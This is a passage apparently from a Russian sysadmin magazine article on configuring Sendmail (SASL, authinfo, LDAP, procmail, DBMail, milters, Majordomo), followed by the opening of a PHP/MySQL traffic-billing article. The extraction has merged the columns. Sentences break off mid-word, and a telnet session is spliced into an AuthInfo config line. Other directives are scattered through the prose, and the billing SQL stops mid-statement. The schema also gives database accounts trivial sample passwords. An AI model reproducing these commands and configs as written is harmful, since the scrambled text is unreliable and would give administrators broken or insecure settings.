Теперь в выводимой информации должно присутство-
вать упоминание SASLv2:
$ sendmail -d0.1 -bv
Version 8.13.6
Compiled with: . . .SASLv2 . . .
Это означает, что осталось подкорректировать при не-
обходимости конфигурацию Sendmail, и можно проверять чается таким образом:
работу системы. Первое, что может потребовать настрой-
ки, это список разрешённых методов аутентификации.
То, что у вас получилось сразу после перекомпиляции, мож-
но узнать, подключившись с помощью telnet на 25-й порт
и введя команду EHLO:
использовании которых будет разрешена пересылка поч-
ты (relaying), даже если адрес клиента не помечен в базе
access как RELAY или OK.
Ребята! Да я же свой!
Иногда может возникнуть ситуация, когда ваш сервер,
для того, чтобы передать куда-то сообщение, сам должен
будет пройти аутентификацию. Например, это вполне обыч-
ная ситуация, если ваш MTA работает исключительно че-
рез сервер провайдера, а провайдер не желает тратить си-
лы на добавление вашего хоста в список доверенных, на-
стаивая на обязательном прохождении всеми клиентами
процедуры проверки подлинности.
Для этого существует файл authinfo, который подклю-
FEATURE(`authinfo', `hash -o /etc/mail/authinfo')
В указанном файле прописываем параметры аутенти-
фикации на нужные серверы в следующем формате:

$ telnet localhost 25 AuthInfo:servak.de "U:<username>" "I:<identity>" ↵

"P:<password>" "M:LOGIN PLAIN"
Trying 127.0.0.1...
Connected to localhost. Здесь servak.de – имя удалённого сервера, которому
Escape character is '^]'.
220 server.ru ESMTP Sendmail 8.13.6/8.13.6; нужно будет предоставить аутентификационную инфор-
Thu, 13 Jul 2006 14:27:45 +0400 (MSD) мацию. В ключе M указываются методы, которые долж-
EHLO me
250-server.ru Hello localhost [127.0.0.1], pleased to meet you
ны при этом использоваться. Не забудьте создать хэш это-
250-ENHANCEDSTATUSCODES го файла.
250-PIPELINING
250-8BITMIME
250-SIZE 12500000 LDAP – путь к единению
250-DSN В крупных корпоративных сетях довольно часто использу-
250-AUTH GSSAPI DIGEST-MD5 CRAM-MD5
ются базы LDAP для хранения информации о пользовате-
250-DELIVERBY
250 HELP лях этих сетей. И было бы весьма разумно воспользовать-
ся этим механизмом для хранения некоторой конфигура-
Третья с конца строка как раз и отображает поддержи- ционной информации вашего почтового сервера.
ваемые механизмы аутентификации. Изменить их список Sendmail поддерживает возможность работы с LDAP-ба-
можно с помощью следующих директив: зой, позволяя вам использовать службу каталогов вместо
файлов access, aliases и т. д. Правда, так же, как и в случае
TRUST_AUTH_MECH(`DIGEST-MD5 LOGIN PLAIN')dnl с SASL, во FreeBSD он собран без поддержки LDAP. Вклю-
define(`confAUTH_MECHANISMS', `DIGEST-MD5 LOGIN PLAIN')dnl
чается эта поддержка аналогично:
Во второй строке перечисляются поддерживаемые ме- 1. Устанавливаем из портов openldap-client или openldap-
ханизмы вообще, в то время как первой директивой мы оп- server (если LDAP-сервера у нас ещё нет и мы хотим за-
ределяем список «доверенных» механизмов, т.е. тех, при пустить его на этой же машине).

LDAP
Lightweight Directory Access Protocol – об-
легчённый протокол доступа к каталогам –
это протокол, призванный обеспечить ра-
боту так называемой службы каталогов.
Службы каталогов используются для цен-
трализованного хранения различной ин-
формации, такой как пользовательские
учётные записи, адресные книги, различ-
ные настройки.
Первоначально служба каталогов (оп-
ределённая в протоколе X.500) была ори-
ентирована на обслуживание почтовых се-
тей стандарта X.400, разработанного OSI.
Для доступа к этой службе использовался
протокол DAP, который и послужил основой
для разработки более простого и удобно-
го в работе LDAP.
Записи, хранящиеся в ката лога х
LDAP, представлены уникальными имена-
ми (distinguished name) и рядом атрибутов,
определяемых в так называемых схемах.
Структура записей позволяет легко орга-
низовать записи в виде дерева.
Основным преимуществом LDAP пе-
ред «плоскими» файлами или реляционны-
ми базами данных является ориентирован-
ность на высокую скорость чтения. С учё-
том очень эффективного кэширования, ис-
пользование LDAP, помимо централизации
информации, что упрощает её сопровож-
дение (включая резервирование), позволя-
ет также снизить задержки при получении
информации, если объёмы данных дости-
гают значительных величин.
Помимо свободной реализации служ-
бы каталогов – OpenLDAP, широко исполь-
зуемой в системах семейства UNIX/Linux,
существует ряд других (например, Active
Directory, предназначенная для управле-
ния сетями Windows).
Сам протокол LDAP определён в RFC
1777, RFC 2251 (версия 3). Существует так-
же большое число расширяющих и допол-
няющих документов.

28
 администрирование

DBMail пользователей или там, где от почтовой # dbmail-users -c vasya -m 100M

Программа DBMail, разработка которой
осуществляется двумя датскими фирма-
ми – IC&S и NFG, позволяет организовать
хранилище пользовательских почтовых
ящиков в базе данных общего назначе-
ния. Поддерживаются MySQL и PostgreSQL
(в версии 2.2 ожидается добавление к это-
му списку и SQLite). Для небольших почто-
вых серверов, обслуживающих локальную
сеть вашего предприятия, дополнительное
звено в цепи «почтового обслуживания»
пользователей лишь снизит надёжность
и усложнит сопровождение системы, прак-
тически ничего не давая взамен.
Однако на системах с большим числом
системы требуется максимальная гибкость
и возможность реализовать самые различ-
ные услуги (например, полнотекстовый по-
иск по всему почтовому ящику с исполь-
зованием веб-интерфейса) хранение всех
сообщений в БД даёт почти безграничные
возможности. Например, DBMail очень лег-
ко позволяет задать максимальный размер
почтового ящика (в случае использования
традиционных хранилищ для этого прихо-
дится прибегать к системному механизму
установки квот на файловую систему): его
нужно просто указать в команде создания
нового пользователя или изменения пара-
метров его учётной записи:
Любая статистика может быть полу-
чена напрямую из базы данных, с помо-
щью обычного SQL-запроса. Кроме того,
вы можете использовать все преимущес-
тва реляционных баз, такие как резерви-
рование, размещение на отдельном сер-
вере, кластеризация (хотя применитель-
но к поддерживаемым в настоящее время
СУБД её реализация требует некоторых до-
полнительных усилий; см., например, ста-
тью Андрея Тренина «Создаём кластер
для PostgreSQL» (№1 за 2006 г.).
Помимо Sendmail поддерживаются
практически все популярные MTA.

2. Вносим изменения в /etc/make.conf: бавить в mc-файл директивы, указывающие, что следует

# Флаги LDAP для Sendmail
SENDMAIL_CFLAGS+= -I/usr/local/include -DLDAPMAP
SENDMAIL_LDFLAGS+= -L/usr/local/lib
SENDMAIL_LDADD+= -lldap -llber
3. Пересобираем Sendmail, как было описано для SASL
(см. пункт 4).
Теперь уже знакомая нам команда должна вывести упо-
минание и про LDAP:
использовать LDAP:
define(`confLDAP_DEFAULT_SPEC', `-h ldap.your.domain.ru ↵
-b dc=your,dc=domain,dc=ru')
FEATURE(`access_db', `LDAP')
define(`ALIAS_FILE', `ldap:')
Первая строка задаёт параметры LDAP-сервера, второй
мы указываем, что вместо /etc/mail/access следует использо-
вать службу каталогов, третьей строкой аналогично указы-
ваем использовать LDAP для определения псевдонимов.

# sendmail -d0.1 -bv root | grep LDAP Альтернативные LDA

Compiled with: . . . LDAPMAP . . . USE_LDAP_INIT . . .
Кстати говоря, если вы заодно хотите воспользоваться
преимуществами самой последней версии Sendmail (дис-
трибутивная, как правило, отстаёт на один-два минорных
номера), то можно не мучиться с перекомпиляцией, а пос-
тавить Sendmail из портов сразу с нужным набором функ-
ций. Благо, этого добра там хватает:
$ make search name=sendmail | grep Port
. . . .
Port: sendmail-8.13.7_1
Port: sendmail+tls+sasl2+ldap-8.13.7_1
Port: sendmail+tls+sasl2-8.13.7_1
. . . .
После перекомпиляции (или установки) Sendmail про-
верьте в /usr/local/etc/openldap/slapd.conf, подключена ли
схема sendmail.schema.
Если нет, добавьте строку:
include /usr/share/sendmail/cf/sendmail.schema
Sendmail позволяет подключать практически любую про-
грамму в качестве локального агента доставки, естест-
венно, при условии, что эта программа будет «вести се-
бя как LDA» (помните? – «если это выглядит как утка, кря-
кает как утка и ходит как утка, то это – утка»). Благода-
ря этому у нас есть возможность довольно сильно влиять
на то, как почта будет сохраняться. Поэтому не удивительно,
что помимо стандартного для FreeBSD mail.local разработа-
но большое число «альтернативных» агентов доставки.
Прежде всего вспоминается очень мощная програм-
ма procmail, предоставляющая широчайшие возможнос-
ти по обработке почты, до того как она попадёт в почто-
вый ящик пользователя. Её порой так активно используют
для борьбы со спамом, что письмо в принципе может во-
обще не попасть к пользователю. Недаром во многих дис-
трибутивах Linux именно она работает в паре с Sendmail
по умолчанию. Чтобы воспользоваться его преимущес-
твами, достаточно подключить этот LDA (директивой
MAILER(procmail), соответствующий m4-файл входит в стан-
дартную поставку Sendmail) и указать в mailertable исполь-
зование этого LDA для нужных доменов:

Эта команда подключит схему для Sendmail (где определе- your.domain procmail
ны допустимые атрибуты записей), что необходимо для пра-
вильного заполнения нужных полей. Второй вариант – включить в mc-файл директиву
Теперь осталось занести в каталог LDAP необходимые FEATURE(`local_procmail’), которая даст указание исполь-
записи (как это сделать, смотрите в документации по LDAP; зовать procmail в качестве стандартного LDA (объявленно-
несколько полезных ссылок приведено в конце статьи) и до- го как local).

№8, август 2006 29

 администрирование
Рисунок 1. Схема прохождения сообщений
Далее, если вы хотите просто перейти на использо-
вание хранилища формата Maildir вместо стандартного
mailbox, то в качестве LDA можно подключить, например,
программу maildrop:
FEATURE(`local_procmail', `/usr/local/bin/maildrop', ↵
`maildrop -d $u')
Здесь мы воспользовались той же самой директивой, толь-
ко вместо пути к procmail указали нужный нам. Кстати, если
procmail у вас установлен нестандартно (т.е. не в /usr/local/bin),
то и для его подключения потребуется указывать полный путь.
Естественно, для полноценной работы с Maildir ваш POP3/
IMAP-сервер тоже должен уметь работать с этим форматом,
впрочем, это уже совсем другая история…
Следующий шаг к совершенству –
DBMail
Для полного счастья хорошо бы ещё добавить гибкости
почтовым ящикам пользователей. Одно из решений – ис-
пользовать для их хранения реляционную СУБД, что и ре-
ализуется проектом DBMail.
Подробно о DBMail здесь мы говорить не будем (этот
пакет с успехом может применяться не только в связке
с Sendmail, но и с другими популярными MTA). Некоторая
общая информация представлена во врезке «DBMail». Так-
же обратитесь к статье Евгения Прокопьева «Почтовый сер-
вер на основе реляционной СУБД» (№1 за 2006 г.), где ра-
бота DBMail освещена очень детально.
Поскольку размещение входящей корреспонденции
по почтовым ящикам пользователей не является функци-
ей MTA (как вы помните из первой части статьи, этим за-
нимается агент локальной доставки (LDA)), то с точки зре-
ния Sendmail его логика обработки сообщений совершен-
но не меняется. Всё что требуется – это зарегистрировать
DBMail в качестве LDA и дать указание Sendmail использо-
вать именно его для доставки входящей корреспонденции,
как мы это делали для procmail. Первая задача решается
одной из следующих директив в mc-файле:
MAILER(dbmail)
MAILER(dbmail-lmtp)
Первая строка подключает DBMail в качестве LDA, ра-
ботающего обычным образом (по конвейеру (pipe)), вто-
30
рая – для работы по протоколу LMTP. То есть почта, для об-
работки которой будет указан соответствующий агент до-
ставки, будет передаваться демону dbmail, который и зай-
мётся всем остальным. При необходимости можно исполь-
зовать и оба агента одновременно. Правда, при установ-
ке из портов файл dbmail.m4 нигде не появился, и его либо
придётся создать самому, подкорректировав один из име-
ющихся шаблонов (например, procmail.m4), либо найти
готовый (например, здесь: http://www.dbmail.org/dokuwiki/
doku.php?id=sendmail_howto).
Вторая задача (чтобы Sendmail знал, для какой поч-
ты следует использовать тот или иной LDA) – настройка
mailtertable для использования этого LDA:
your.domain dbmail
other.domain dbmail-lmpt:[127.0.0.1]
Естественно, вы можете указать использование dbmail
только для необходимых доменов. Не забудьте всё пере-
собрать и перезагрузить процесс sendmail, чтобы измене-
ния вступили в силу.
Думаю, можно также безболезненно воспользоваться
тем же приёмом, которым мы подключали maildrop (т.е. со-
здав видимость, что наш dbmail – это procmail, и восполь-
зовавшись готовыми шаблонами для этого LDA). Правда,
на практике это не испытывал.
Расширенные возможности фильтрации
Очень широкие возможности для обработки сообщений
предоставляют появившиеся в версии 8.11.6 (неофициаль-
но – с 8.10) почтовые фильтры, или «мильтеры» (milter, аб-
бревиатура от Mail fILTER).
Почтовые фильтры широко применяются для взаимо-
действия с такими программами, как антивирусы, спам-
фильтры и т. д. То есть они, по сути, предоставляют возмож-
ность «заворачивать» обрабатываемое сообщение сторон-
ней программе через сетевой или UNIX-сокет. Кстати гово-
ря, использование для взаимодействия сокетов позволя-
ет размещать программу-фильтр на другой машине в сети,
что в ряде случаев может быть полезно для централизации
обработки или для снижения нагрузки на основной сервер,
если фильтрация требует существенных вычислительных
ресурсов или создаёт большую нагрузку на дисковую под-
систему. Но нельзя забывать и о дополнительных задерж-
ках в этом случае, равно как и о безопасности передавае-
мой по сокету информации.
Фильтр позволяет контролировать обработку письма
начиная с момента установления соединения с удалённым
сервером и до полного его получения. В любой момент об-
работка может быть прервана с помощью одного из фла-
гов возврата: ACCEPT (принять сообщение), REJECT (от-
клонить с уведомлением об этом отправителя) или DISCARD
(отбросить без каких-либо уведомлений). То есть, скажем,
если необходимость отклонить сообщение будет выявлена
на ранних стадиях сеанса, например, на основе информа-
ции, помещённой в заголовок, то это можно будет сделать
до того, как письмо будет принято полностью. Ещё один
пример использования такой возможности – приём сооб-
щения (ACCEPT) без проверки всех вложений на вирусы,
если в заголовке будет обнаружена строка, информирую-
 администрирование
щая о том, что такая проверка уже выполнялась сервером Флаги тайм-аутов
отправителя (хотя всецело доверять таким заголовкам, ко- Флаг Описание
нечно же, не стоит). C Задержка при соединении с фильтром
Помимо решения о том, принять или отклонить сооб-
E Задержка при ожидании подтверждения полной передачи
щение, milter позволяет вносить изменения в тему или те-
ло сообщения, добавлять строки в заголовок, и т. д. Бла- R Задержка при ожидании ответа фильтра

годаря этому можно, например, поместить в заголовок ин- S Задержка передачи данных фильтру
формацию о выполненной антивирусной проверке или ос-
тавить пометку, что письмо признано вероятным спамом. вать фильтры на родном для Sendmail языке C (в списке
Именно так поступают многие антивирусные и антиспамо- дополнительной литературы вы найдёте ссылку на при-
вые пакеты. мер разработки milter для дублирования исходящей поч-
Условно схема прохождения письма через подключен- ты на некоторый адрес). Существуют «привязки» к это-
ные фильтры показана на рис. 1. Фильтров может быть му API для других языков программирования, например,
сколь угодно много (реальное ограничение накладывает- для Perl (модуль Sendmail::Milter, в коллекции портов –
ся лишь нагрузкой на систему и требованиями к допусти- mail/p5-Sendmail-Milter) и Python (интерфейс Python Milter,
мой задержке при обработке сообщений). Порядок приме- в Портах – mail/py-milter). Прекрасный пример разработки
нения фильтров определяется порядком их подключения фильтра на Python рассматривался в статье Романа Сузи
в конфигурационном файле. «Почтовый фильтр, или Milter = Mail + Filter» (№2 за 2003 г.,
Кстати, о конфигурации... Подключается milter такой статью вы можете найти на сайте журнала в разделе «Ста-
директивой: тьи».).

INPUT_MAIL_FILTER(`clmilter', ↵ Списки рассылки

`S=local:/var/run/clamav/clmilter.sock, ↵
F=, T=S:4m;R:4m')
Первым аргументом передаётся имя фильтра, вторым –
строка параметров. Параметра может быть три:
 S, который задаёт используемый сокет (может быть local
и inet);
 F, определяющий, как поступать с письмом в случае
проблем с milter (F=T означает возвращать отправите-
лю временную ошибку (temporary fail), F=R – отбросить
(reject) соединение, пустое значение F= даёт указание
игнорировать проблемы с milter и обрабатывать соеди-
нение без фильтрации);
 T задаёт несколько тайм-аутов (см. таблицу), по истече-
нии которых фильтр будет признан «неотвечающим».
В нашем примере, если clamav-milter не начнёт при-
нимать сообщение от Sendmail в течение четырёх минут
или не даст ответ в течение такого же времени, то сообще-
ние будет передано на дальнейшую обработку без филь-
трации.
Вместо указанной выше директивы можно подключать
фильтры и таким образом:
Электронная почта широко используется в самых различ-
ных формах. Конечно, если говорить о ведении групповых
дискуссий, то есть и более удобные средства: IRC, службы
новостей (NNTP), веб-форумы, наконец. Несмотря на это,
списки рассылки по электронной почте до сих пор оста-
ются довольно популярным способом обсуждения тех или
иных проблем. Очень многие открытые проекты (например,
FreeBSD.org, ALT Linux) используют рассылки для оказания
технической поддержки своим пользователям, для обсуж-
дения новых возможностей тестовых версий, для уведом-
лений об обнаруженных проблемах безопасности…
Одной из наиболее известных систем управления спис-
ками рассылки является программа Majordomo. Она очень
хорошо интегрируется с серверами Sendmail и обладает до-
статочным набором функций для работы с рассылками.
Установка из коллекции портов никаких сложностей
не вызывает, за исключением одного небольшого нюан-
са: начиная с FreeBSD 5.x Perl не является частью систе-
мы и должен устанавливаться из портов, т.е. размещается
в /usr/local/bin. Однако порт Majordomo по-старинке хотел
видеть /usr/bin/perl. Пришлось ставить ссылку (хотя можно,
конечно, и Makefile подправить):

MAIL_FILTER(`miltergreylist', ↵ # ln /usr/local/bin/perl /usr/bin/perl

`S=local:/var/milter-greylist/milter-greylist.sock, ↵
F=, T=S:4m;R:4m')dnl
define(`confINPUT_MAIL_FILTERS', `miltergreylist')
Здесь процедура подключения фильтра разделена
на два этапа – первой директивой мы объявляем milter с ука-
занными параметрами, второй – регистрируем указанный
milter как фильтр для обработки сообщений. Если по такой
схеме требуется подключить несколько почтовых филь-
тров, то директива define нужна только одна, в которой че-
рез запятую перечисляются все регистрируемые фильтры
в нужном порядке.
Нужно сказать, что для разработки milter существует
прекрасный API, позволяющий довольно быстро созда-
После этого вам нужно будет указать, какой MTA будет
использоваться (см. рис. 2; наш выбор, думаю, очевиден).
После непродолжительной компиляции мы получим немно-
го нестандартную для FreeBSD схему размещения файлов:
«бинарники» и файлы конфигурации будут располагаться
в /usr/local/majordomo. Наиболее важны здесь два конфи-
гурационных файла – majordomo.cf, где можно изменить
базовые настройки, и aliases.majordomo, содержащий на-
строенный набор псевдонимов, с помощью которых будет
работать Majordomo.
Принцип взаимодействия этого пакета с Sendmail доста-
точно прост и основан на псевдонимах. Например, сообще-

№8, август 2006 31

 администрирование
Рисунок 2. Диалог выбора MTA для Majordomo
ние, поступающее на адрес majordomo@your.domain.ru будет
перенаправлено программе /usr/local/majordomo/wrapper
и обработано в соответствии с настройками списка.
Для того чтобы Majordomo начал работать, нужно под-
ключить к Sendmail его файл псевдонимов (хотя можно
и просто скопировать нужные строки в /etc/mail/aliases):
define(`ALIAS_FILE', `/etc/mail/aliases, ↵
/usr/local/majordomo/aliases.majordomo')
Всё – Majordomo готов к работе. Отправив письмо с ко-
мандой «lists» в теле на свой домен на адрес majordomo,
вы получите информацию о доступных списках рассыл-
ки (по умолчанию там будет test-l и test-l-digest). По об-
разу и подобию вы можете создавать собственные спис-
ки, для чего нужно создать пустой файл, соответствую-
щий имени рассылки, в /usr/local/majordomo/lists, а также
в aliases.majordomo ввести псевдонимы для самой рассыл-
ки, команд, адресов владельцев и т. д. – пример можно пос-
мотреть для того же демо-списка, test-l.
Дальнейшее администрирование может выполнять-
ся через электронную почту. Например, чтобы поэкспе-
риментировать со списком test-l, первым делом рекомен-
дуется сменить пароль администратора, послав на адрес
test-l-request письмо в фразой «passwd test-l test mynewpas»,
где test-l – имя списка, для которого меняется пароль, test –
старый пароль (используется по умолчанию), mynewpas –
новый пароль. В случае удачи вы получите письмо с сооб-
щением «Password changed».
Впрочем, работа со списками рассылок – это уже другая
тема, и здесь не будем вдаваться в подробности. Тем бо-
лее что к вашим услугам – отличная страница справки,
man majordomo.
Подводная часть айсберга
На этом, пожалуй, и завершим наше знакомство с Sendmail.
Естественно, даже в пределах столь объёмного цикла не-
возможно охватить все аспекты работы этого мощного па-
кета. Поэтому в заключение я решил привести список ссы-
лок (тоже далеко не полный), по которым можно получить
дополнительную информацию.
На этом всё! Удачи!
Sendmail
1. Основной сайт проекта с полезной документацией – http://
www.sendmail.org.
32
2. Электронная версия 3-го издания «Bat Book» издательства
O’Reilly – http://hell.org.ua/Docs/oreilly/other2/Sendmail_3rd.
3. Система электронной почты на основе LINUX. Руководство
администратора – http://kazna.pl.ua/sysadmins/orel/chap1.htm.
4. 25 статей по различным аспектам настройки Sendmail с ис-
пользованием m4 – http://vk.pp.ru/docs/sendmail/m4.
5. Настройка почтового сервиса на основе Sendmail – http://
www.uinc.ru/articles/31.
6. Андрей Шетухин. Настраиваем Sendmail для виртуального
почтового хостинга. – http://reki.ru/sendmail_setup.html.
7. Андрей Шетухин. Настраиваем Sendmail в качестве транзитно-
го почтового релея. – http://reki.ru/sendmail_transit_setup.html.
8. Андрей Шетухин. Фильтрафия спама в sendmail. – http://reki.
ru/spam-filtering.html.
9. Хорошая подборка различных статей – http://kazna.pl.ua/
sysadmins/sendmail.html.
Аутентификация
1. RFC 2554 (Расширение SMTP сервиса для аутентификации) –
http://www.tigir.com/rfc2554.html.
2. SMTP AUTH in sendmail 8.10-8.13 – http://www.sendmail.org/~ca/
email/auth.html.
3. Руководство FreeBSD. 24.10 SMTP аутентификация – http://www.
freebsd.org/doc/ru_RU.KOI8-R/books/handbook/smtp-auth.html.
4. Аутентификация в sendmail – http://openbsd.hnet.spb.ru/sasl.html.
5. Использование SMTP-AUTH в FreeBSD на базе MTA
Sendmail-8.13.x – http://unix1.jinr.ru/~lavr/sendmail+sasl2.
6. Аутентификация пользователей – http://www.opennet.ru/docs/
RUS/Cyrus_imap/install-auth.html.
7. Аутентификация SMTP: sendmail + SASL + LDAP – http://
avdor.irkutsk.ru/faq/article.php?show_id=335.
LDAP
1. Арсений Чеботарёв, LDAP: каталог д ля всех – http://
www.citforum.ru/operation_systems/linux/ldap_cat.
2. В с е в ол од С та хо в, LDAP- H OW TO п о - рус с к и – ht tp: / /
www.ldapzone.spb.ru/docs/ldap_art.phtml.
3. Всеволод Стахов, Sendmail + LDAP FAQ – http://www.ldapzone.
spb.ru/docs/sendmail_ldap.phtml.
4. Андрей Афлетдинов, Сохраняем настройки Sendmail в дирек-
ториях LDAP – http://www.opennet.ru/docs/RUS/mail2ldap.
Milter API
1. Официальный сайт, посвящённый Milter API (здесь же можно
найти огромный архив готовых фильтров на все случаи жиз-
ни) – http://www.milter.org.
2. Роман Сузи, Почтовый фильтр, или Milter = Mail + Filter – http://
www.samag.ru/art/02.2003/02.2003_06.pdf.
3. Пример milter на языке C для дублирования исходящей поч-
ты – http://www.opennet.ru/base/met/mail_copy_milter.txt.html.
Прочие
1. Основной сайт проекта DBMail – http://www.dbmail.org.
2. DBMail Documentation – http://www.helgrim.com/dbmaildocs/
installation.html.
3. SMTP STARTTLS в sendmail/Secure Switch – http://linuxnews.ru/
docs/new/starttls.html.
4. Majordomo and MajorCool HOWTO – http://www.opennet.ru/docs/
HOWTO/Majordomo-MajorCool-HOWTO.
 администрирование

Биллинг на FreeBSD: пишем сами,

используя PHP, trafd и MySQL

Александр Чагадаев
Если пользователи жалуются, что Интернет «тормозит», а начальство ругается, что счета
от провайдера слишком большие, покупка готового биллинга – не единственный выход.
В настоящее время большинство юри- ми и специальным образом настро-  мой большой опыт работы с ним;
дических лиц – пользователей Интер- енной (включён сервис NAT) сетевой  наличие очень удобного инстру-
нета – оплачивают услуги исходя из ко- ОС (FreeBSD, Linux, Windows, Solaris мента IBExpert (http://www.ibexpert.
личества принятого (и/или переданно- и т. д.). Или же это может быть специ- com).
го) трафика. ально разработанное устройство (не-
Для небольших организаций плата редко также использующее одну из пе- Против:
за трафик не является такой уж незна- речисленных выше ОС). Возможны  работа текущей на тот момент вер-
чительной, и остро встаёт вопрос учета и другие варианты, я рассмотрю на- сии (1.5) только из-под inetd. На сер-
трафика, израсходованного конкрет- иболее распространенный. вере этот демон не использовался
ным пользователем, и целей, на кото- В своё время передо мной была и поднимать его только ради бил-
рые этот трафик был потрачен. Проще именно такая задача – учёт и ограни- линга не хотелось;
говоря, руководству организации нуж- чение трафика. В качестве роутера ис-  поддержка транзакций, обеспечива-
на информация о посещённых сайтах пользовался ПК с 2 сетевыми карта- ющих большую надёжность в ущерб
в случае использования протокола http, ми и установленной ОС FreeBSD. Не- скорости, что для нашей системы
скачанных файлах в случае использо- смотря на кажущуюся распространён- совершенно неоправданно.
вания протокола ftp и т. д. Причём неко- ность – почти банальность – задачи,
торых сотрудников бывает сложно убе- полностью устраивающее готовое ре- В конечном счёте, я остановился
дить, что большой трафик – результат шение найти не удалось. (Рассмат- на MySQL (4-я или 5-я версии, но, ду-
их собственных действий, если не пре- ривались только бесплатные систе- маю, будет работать и с 3-й).
доставить подробного списка ресурсов мы.) В результате было принято ре- Язык программирования для об-
с данными о трафике. шение писать собственную биллинго- щения с базой данных – PHP, за C-по-
По тем или иным причинам (забота вую систему. добный синтаксис, возможность ис-
организации об информационной бе- пользования программ на нём как
зопасности, дефицит реальных IP-ад- Используемое ПО просто в системе, так и внутри HTML-
ресов у провайдера) подключение Для сбора трафика используется BPFT страниц.
внутренней ЛВС организации к Ин- (http://bpft4.sourceforge.net). Систе-
тернету обычно происходит через ро- ма построена на основе библиотеки Система учёта IP-трафика
утер, установленный на границе меж- libpcap и использует механизм BPF Функционально в системе биллин-
ду внутренней ЛВС организации и Ин- (Berkley Packet Filter «pseudo-device») га можно условно выделить три моду-
тернетом. для захвата IP-трафика. ля: учёт трафика, вывод информации
В качестве роу тера может ис- При выборе СУБД я выбирал между об учтённом трафике и модуль разре-
пользоваться ПК с 2 сетевыми карта- MySQL и Firebird. За Firebird было: шения/запрещения пользования Интер-

34
 администрирование

Что такое adc_billing
Назначение: система биллинга IP-тра-
фика.
Возможности:
 Единая база данных по IT-ресурсам
предприятия: ФИО пользователей,
IP-адреса и названия их компьютеров,
лимиты на пользование Интернетом,
любые другие данные.
 Любой пользователь может самостоя-
тельно просмотреть свою статистику.
 Подсчёт IP (TCP/UDP)-трафика.
 Встроенные отчёты для администра-
тора:
 суммарное количество байт, пе-
реданных с каждого и принятых
на каждый из IP-адресов контро-
лируемой сети и принятых на IP-ад-
рес контролируемой сети с группи-
ровкой по IP-адресам внешней се-
ти за произвольный промежуток
времени;
 список IP-адресов контролируемой
сети с количеством байт, передан-
ных с каждого и принятых на каж-
дый из них за произвольный про-
межуток времени;
 список IP-адресов контролируемой
сети с количеством байт, передан-
ных с каждого и принятых на каж-
дый из них за текущий месяц и се-
годняшний день.
 Отключение IP-адресов от Интернета
согласно месячной таблице лимитов.
 Легкость расширения системы (новые
отчёты, новые модули) благодаря про-
зрачной структуре таблиц и используе-
мого языка программирования – PHP.
Недостатки:
 Аутентификация пользователей про-
изводится только по IP-адресам. Ни-
как не контролируется возможная сме-
на пользователем IP-адреса. Эта осо-
бенность, если в конкретном случае
она является недостатком, может быть
устранена: нужно добавить в таблицу
IP поле «MAC-адрес» и написать ма-
ленький скрипт, в котором отключает-
ся автоматическое присваивание соот-
ветствия MAC и IP-адресов и происхо-
дит принудительное присваивание со-
ответствия MAC и IP-адресов для про-
токола ARP (т.н. статический ARP).
 По указанной выше причине в теку-
щей реализации невозможна работа
на одном ПК нескольких пользовате-
лей, у каждого из которых установлен
собственный лимит. Поскольку на са-
мостоятельную добровольную смену
IP-адреса пользователем рассчиты-
вать особенно не приходится, пред-
ставляется возможным реализовать
смену адреса с помощью скрипта.
 Текущие SQL-запросы рассчитаны
на использование только одной внут-
ренней подсети.
 Отсутствует специальный HTML-ин-
терфейс для редактирования данных
(в т. ч. лимитов) пользователей; ре-
дактирование происходит путём не-
посредственного изменения данных
в БД. Этот недостаток легко устра-
ним путём написания соответствую-
щего модуля.

нетом. Поскольку данные в таблицы пишет первый из этих SRC_PORT VARCHAR(5) NOT NULL,
DEST_PORT VARCHAR(5) NOT NULL,
модулей, начнём раздел с описания структуры таблиц. PROTO VARCHAR(4) NOT NULL,
DATA_BYTES INTEGER NOT NULL,
ALL_BYTES INTEGER NOT NULL,
Структура таблиц FIRST_TIME TIMESTAMP NOT NULL,
Создадим базу данных с именем traffic. В базе создадим две LAST_TIME TIMESTAMP NOT NULL,
INDEX(IP_FROM), INDEX(IP_TO), INDEX(SRC_PORT), ↵
таблицы: Ip – данные о IP-адресе и Log – данные о трафике. INDEX(DEST_PORT), INDEX(PROTO), INDEX(ALL_BYTES), ↵
Назначение полей этих таблиц понятно из их названий. INDEX(FIRST_TIME), INDEX(IP_FROM,FIRST_TIME), ↵
INDEX(IP_TO,FIRST_TIME)
Также создадим двух пользователей, имеющих право ) ENGINE = MyISAM
подсоединяться к базе данных только с локального ком- ROW_FORMAT = fixed;
пьютера: insert_user – пользователь, который имеет право
только добавлять данные в базу и view_user – пользователь, Как видно из скрипта create_db_&_users_&_tables.sql,
который имеет право только читать данные из базы. Паро- в качестве формата базы был выбран – MyISAM, который
ли, конечно же, только для статьи – при инсталляции систе- обеспечивает большую скорость работы за счёт отсутствия
мы рекомендуется сгенерировать более стойкие к взлому. транзакций. Параметр ROW_FORMAT определяет, каким об-
разом должны храниться строки в файле базы данных. За-
Файл create_db_&_users_&_tables.sql давая этому параметру значения fixed, мы предписываем
CREATE DATABASE traffic MySQL под каждую переменную типа VARCHAR выделять
DEFAULT CHARACTER SET koi8r не реально занимаемое её значением место, а максималь-
DEFAULT COLLATE koi8r_general_ci;
GRANT INSERT ON traffic.* TO 'insert_user'@'localhost' ↵ но возможное. Например, если мы при создании базы опре-
IDENTIFIED BY '123456789'; делили поле IP_TO как VARCHAR(15), то независимо от дли-
GRANT SELECT ON traffic.* TO 'view_user'@'localhost' ↵
IDENTIFIED BY '987654321'; ны помещённых в него данных, оно всегда будет занимать
USE traffic; 15 байт. Хотя из-за этого файл базы данных будет занимать
CREATE TABLE Ip (
IP VARCHAR(15) NOT NULL PRIMARY KEY, больше места, нам в этой ситуации важнее, что операции
QUOTA INTEGER, с базой будут проходить несколько быстрее.
PCNAME VARCHAR(100),
FNAME VARCHAR(100),
MNAME VARCHAR(100), Настройка ОС FreeBSD
LNAME VARCHAR(100),
EMAIL VARCHAR(200), Ядро системы FreeBSD должно включать поддержку
INDEX(IP) pseudo-device BPF, для чего в файле конфигурации
) ENGINE = MyISAM;
CREATE TABLE Log ( adc-kernel должна присутствовать строка:
NN INTEGER(12) UNSIGNED AUTO_INCREMENT ↵
NOT NULL PRIMARY KEY, # The `bpf' device enables the Berkeley Packet Filter.
IP_FROM VARCHAR(15) NOT NULL, device bpf #Berkeley packet filter
IP_TO VARCHAR(15) NOT NULL,

№8, август 2006 35

 администрирование
Я рекомендовал бы устанавливать trafd, MySQL, PHP my_sql {
и прочее программное обеспечение из портов (как и лю- from:"insert into Log (ip_from,ip_to,src_port, ↵
бой софт под FreeBSD, кроме cvsup). dest_port,proto,data_bytes,all_bytes,first_time, ↵
last_time) values('%s',"
